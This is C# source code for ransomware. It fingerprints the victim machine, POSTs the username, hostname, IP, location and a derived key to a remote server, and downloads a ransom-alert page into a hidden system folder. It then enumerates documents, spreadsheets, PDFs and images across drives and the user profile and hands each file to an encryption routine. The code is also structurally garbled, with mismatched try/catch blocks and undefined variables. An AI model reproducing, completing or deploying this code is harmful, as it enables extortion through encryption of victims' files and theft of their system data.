static void Main(string[] args)
{
passwordkey = GeneratePassword();
systemid = GenerateSystemId();
CheckConnection();
MakeConnection();
RetriveFiles();
AlertingUser();
Console.ReadKey();
//Creating All Required Methods
string GeneratePassword()
{
var randomstring = new RNGCryptoServiceProvider();
var buf = new byte[18]; //length not randomly picked, see 64Base, wikipedia
randomstring.GetBytes(buf);
string password = Convert.ToBase64String(buf);
return(password);
} //This method returns complex & random password
string GenerateSystemId()
{
ManagementClass mangnmt = new ManagementClass("Win32_LogicalDisk");
ManagementObjectCollection mcol = mangnmt.GetInstances();
string result = "";
foreach (ManagementObject strt in mcol)
{
result += Convert.ToString(strt["VolumeSerialNumber"]);
}
return(result);
} //Generating System Id
bool CheckConnection() //Checking for Internet Connection
{
while (true)
{
try
{
var i = new Ping().Send("www.google.com").Status;
if (i == IPStatus.Success)
{
Console.WriteLine("connected");
return(true);
}
else
{
return(false);
}
}
catch (Exception)
{
Console.WriteLine("Not Connected");
Thread.Sleep(2000);
continue;
}
}
} //checking for internet connection
void MakeConnection()
{
//Uploading System Information and Password
try //for Exception handling
{
//Geeting Current Username
string username = Environment.UserName;
//Geeting Machine Hostname
string machine = Environment.MachineName;
//Getting OS Name
//--------------------//
//Getting Current Time
string time = DateTime.Now.ToString("HH:mm:ss");
//Getting Date and Day
string date = DateTime.Today.ToString("dd/MM/yyyy") + ", " + DateTime.Now.DayOfWeek.ToString();
//Getting Ip Address
string ip = new System.Net.WebClient().DownloadString("https://api.ipify.org");
//Sending Data to the Server
var client = new HttpClient();
//Getting Location
String location()
{
var api = new IpInfoApi(client);
var rep = api.GetCurrentCityAsync();
//string location = new System.Net.WebClient().DownloadString("");
Console.WriteLine($"City: {rep.Result}");
return(rep.Result);
}
HDid = "A125OKA" + systemid + "4758ahzii";
string Passwd = HDid;
passwordkey = Passwd;
var pairs = new List <KeyValuePair <string, string> >
{
new KeyValuePair <string, string>("machine_name", machine),
new KeyValuePair <string, string>("computer_user", username),
new KeyValuePair <string, string>("systemid", systemid),
new KeyValuePair <string, string>("os", "Windows 10"),
new KeyValuePair <string, string>("date", date),
new KeyValuePair <string, string>("time", time),
new KeyValuePair <string, string>("ip", ip),
new KeyValuePair <string, string>("location", location()),
// new KeyValuePair<string, string>("location", "Unkown"),
new KeyValuePair <string, string>("password", passwordkey),
new KeyValuePair <string, string>("handshake", "jasmin@123"),
};
var content = new FormUrlEncodedContent(pairs);
var response = client.PostAsync(hostaddr, content).Result;
if (response.IsSuccessStatusCode)
{
Console.WriteLine(response);
Console.WriteLine(GenerateSystemId());
Console.WriteLine(GeneratePassword());
}
else
{
Console.WriteLine("No Connection");
}
}
catch (Exception)
{
}
//Creating AlertMessageUi
try
{
StartDownload(); // Downloading Alert Message Ui from the server
//Write Systemid to HTML File
try
{
string SystemIdTag1 = "<h3 style=\"color: grey; font-size:95% \"> Your System Id is : " + GenerateSystemId() + " </h3>";
string SystemIdTag2 = "<h3 style=\"color: white; font-size:110% \"> Your System Id is : " + GenerateSystemId() + " </h3>";
string FileToEdit = @"C:\Users\Public\Windows\Ui\index.html";
WriteSystemId(SystemIdTag1, FileToEdit, 129);
WriteSystemId(SystemIdTag2, FileToEdit, 285);
void WriteSystemId(string newText, string fileName, int line_to_edit)
{
string[] arrLine = File.ReadAllLines(fileName);
arrLine[line_to_edit - 1] = newText;
File.WriteAllLines(fileName, arrLine);
}
}
catch
{
Console.WriteLine("Error While SystemID Writing");
}
}
catch
{
Console.WriteLine("Error In Download");
}
} //Making connection with web dashboard
bool StartDownload()
{
WebClient wc = new WebClient();
while (true)
{
try
{
if (Directory.Exists(AlertMsgPath))
{
Directory.Delete(AlertMsgPath, true);
Directory.CreateDirectory(AlertMsgPath).Attributes = FileAttributes.System | FileAttributes.Hidden;
}
else
{
Directory.CreateDirectory(AlertMsgPath).Attributes = FileAttributes.System | FileAttributes.Hidden;
}
wc.DownloadFile(AlertMsgLink, AlertMsgFile);
Thread.Sleep(450);
Console.WriteLine("Downloaded");
StartExtraction(); //Start Extraction Process
return(true);
}
catch (WebException)
{
Console.WriteLine("Unable to Download\nRetrying Please wait..");
Thread.Sleep(2000);
continue;
}
}
} //Downloading files from web dashboard
bool StartExtraction()
{
while (true) //working in a loop until file is being downloaded
{
try
{
if (File.Exists(AlertMsgFile))// starts only if file exists
{
using (Stream stream = File.OpenRead(AlertMsgFile))
{
var reader = ReaderFactory.Open(stream);
while (reader.MoveToNextEntry())
{
if (!reader.Entry.IsDirectory)
{
reader.WriteEntryToDirectory(AlertMsgPath, new ExtractionOptions()
{
ExtractFullPath = true, Overwrite = true
});
}
}
}
return(true);
}
else
{
return(false);
}
}
catch (Exception)
{
continue;
}
}
} //Extracting Downloaded files
void RetriveFiles()
{
DriveInfo[] drives = DriveInfo.GetDrives(); //Disk Information Array
string UserHomeDir = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); //Users's Default Home Directory
string[] extensions = { "*.pptx", "*.docx", "*.xlsx", "*.txt", "*.pdf", "*.500", "*.jpeg", "*.jpg", "*png" }; //target file extesnions
foreach (DriveInfo drive in drives)
{
try
{
if (drive.Name == @"C:\") // skiping C drive
{
continue;
}
string dpath = drive.Name; // Drive Path
Console.WriteLine(dpath);
foreach (string l in extensions)
{
try
{
foreach (string d in Directory.EnumerateDirectories(dpath))
{
try
{
foreach (string p in Directory.EnumerateFiles(d, l, SearchOption.AllDirectories))
{
try
{
Thread t = new Thread(() => FileEncryption(p));
t.Priority = ThreadPriority.AboveNormal;
t.Start();
}
catch (UnauthorizedAccessException)
{
continue;
}
}
}
catch (UnauthorizedAccessException)
{
continue;
}
catch (Exception)
{
continue;
}
} //recursively list all the files in a drive
foreach (string p in Directory.EnumerateFiles(dpath, l))
{
try
{
Thread t = new Thread(() => FileEncryption(p));
t.Priority = ThreadPriority.AboveNormal;
t.Start();
}
catch (UnauthorizedAccessException)
{
continue;
}
}
}
catch (Exception)
{
continue;
}
}
}
catch (Exception)
{
continue;
}
} //retrieving Drives files
foreach (string l in extensions)
{
try
{
foreach (string d in Directory.EnumerateDirectories(UserHomeDir))
{
try
{
foreach (string p in Directory.EnumerateFiles(d, l, SearchOption.AllDirectories))
{
try
{
Thread t = new Thread(() => FileEncryption(p));
t.Priority = ThreadPriority.AboveNormal;
t.Start();
}
catch (UnauthorizedAccessException)
{
continue;
}
}
catch (ArgumentException)
{
continue;
}
}
catch (UnauthorizedAccessException)
{
continue;
}
} //recursively list all the files in a drive
foreach (string p in Directory.EnumerateFiles(UserHomeDir, l))
{
try
{
Thread t = new Thread(() => FileEncryption(p));
t.Priority = ThreadPriority.AboveNormal;
t.Start();
}
catch (UnauthorizedAccessException)
{
continue;
}
}
}
catch (Exception)
{
continue;
}
} //retrieving User's files
public async Task <string> GetLocationAsync()
{
string response = await api.GetCurrentCityAsync();
return(response);
}